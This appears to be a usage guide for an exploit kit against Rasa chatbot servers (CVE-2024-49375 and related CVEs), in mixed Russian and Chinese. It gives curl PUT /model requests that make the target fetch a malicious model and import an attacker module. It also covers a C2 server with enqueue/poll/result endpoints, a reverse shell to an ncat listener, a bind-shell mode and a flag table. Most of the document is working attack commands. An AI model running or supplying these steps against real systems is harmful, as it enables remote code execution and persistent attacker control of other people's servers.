
CVE-2024-49375、CVE-2021-42556、CVE-2021-41127
Запустите напрямую
python server-1.py

PUT /model
{"model_server":{"url":"http://192.168.244.128:5000/stage1","wait_time_between_pulls":0}}

Результат:

Имя модели по умолчанию evil_import_model.tar.gz
Демо вредоносной модели
version: "3.1"
intents:
- greet
responses:
utter_greet:
- text: "PWNED_BY_CTF"
nlu:
- intent: greet
examples: |
- hello
- hi
rules:
- rule: greet rule
steps:
- intent: greet
- action: utter_greet
Установка вредоносных правил диалога
Введите
greet, вернётсяPWNED_BY_CTF
PUT /model
{"model_server":{"url":"http://192.168.244.128:5000/stage2-probe-model","wait_time_between_pulls":0}

Результат

model.py изменяет заданные данные в архиве
Запустите напрямую. По умолчанию читает модель из каталога /model, изменяет и сохраняет в текущий каталог как evil_import_model.tar.gz

Укажите IP для обратного соединения
Имя модели по умолчанию evil_import_model.tar.gz
python reverse_server.py --reverse-host 192.168.244.128

Отправляйте данные по очереди
В реальных сценариях может отличаться
Атакующий Контейнер Rasa (target)
│ │
├─ Запустить server-2.py ───┤
├─ PUT /model ──→ Загрузить pwnmod.py в /app/
├─ PUT /model ──→ Загрузить вредоносную модель → import pwnmod → запуск агента
│ │
│ ← GET /poll?agent=xxx ───┤ Polling каждые 3 сек
├─ /enqueue?cmd=id ─────────┤
│ ← GET /poll ─────────────┤ Получить команду
│ ← POST /result ──────────┤ Отправить результат
├─ /last?agent=xxx ──→ Прочитать результат
# 攻击机启动
python server-2.py --mode c2 --c2-base-url http://<攻击机IP>:8000 --port 8000
# 触发 exploit(两步)
curl -X PUT http://<rasa地址>:5005/model \
-H "Content-Type: application/json" \
-d '{"model_server": {"url": "http://<攻击机IP>:8000/write-module"}}'
curl -X PUT http://<rasa地址>:5005/model \
-H "Content-Type: application/json" \
-d '{"model_server": {"url": "http://<攻击机IP>:8000/model"}}'
# 下发命令
curl "http://<攻击机IP>:8000/enqueue?cmd=id"
# 等 8 秒后读结果(agent 每 3s 轮询 + 执行时间)
curl "http://<攻击机IP>:8000/last?agent=<hostname>"
# 不指定 agent 也行(走通配符)
curl "http://<攻击机IP>:8000/enqueue?cmd=whoami"
curl "http://<攻击机IP>:8000/last"
# 1) 攻击机启动监听
ncat -lvnp 4444
# 2) 攻击机启动 server-2.py
python server-2.py --mode reverse --reverse-host <攻击机IP> --reverse-port 4444 --port 8000
# 3) 触发 exploit
curl -X PUT http://<rasa地址>:5005/model \
-H "Content-Type: application/json" \
-d '{"model_server": {"url": "http://<攻击机IP>:8000/write-module"}}'
curl -X PUT http://<rasa地址>:5005/model \
-H "Content-Type: application/json" \
-d '{"model_server": {"url": "http://<攻击机IP>:8000/model"}}'
# 4) nc 收到 $ 提示符,直接交互
python server-2.py --mode bind --bind-port 4444 --port 8000
# agent 在目标容器内监听 0.0.0.0:4444
# ncat <目标IP> 4444 即可连接
| Параметр | Значение |
|---|---|
--port 8000 | Порт прослушивания самого server-2.py |
--c2-base-url | Полный базовый URL для опроса агентом в режиме C2 (должен быть доступен из контейнера) |
--reverse-host | Целевой IP для обратной оболочки (reverse shell) |
--reverse-port | Целевой порт для обратной оболочки |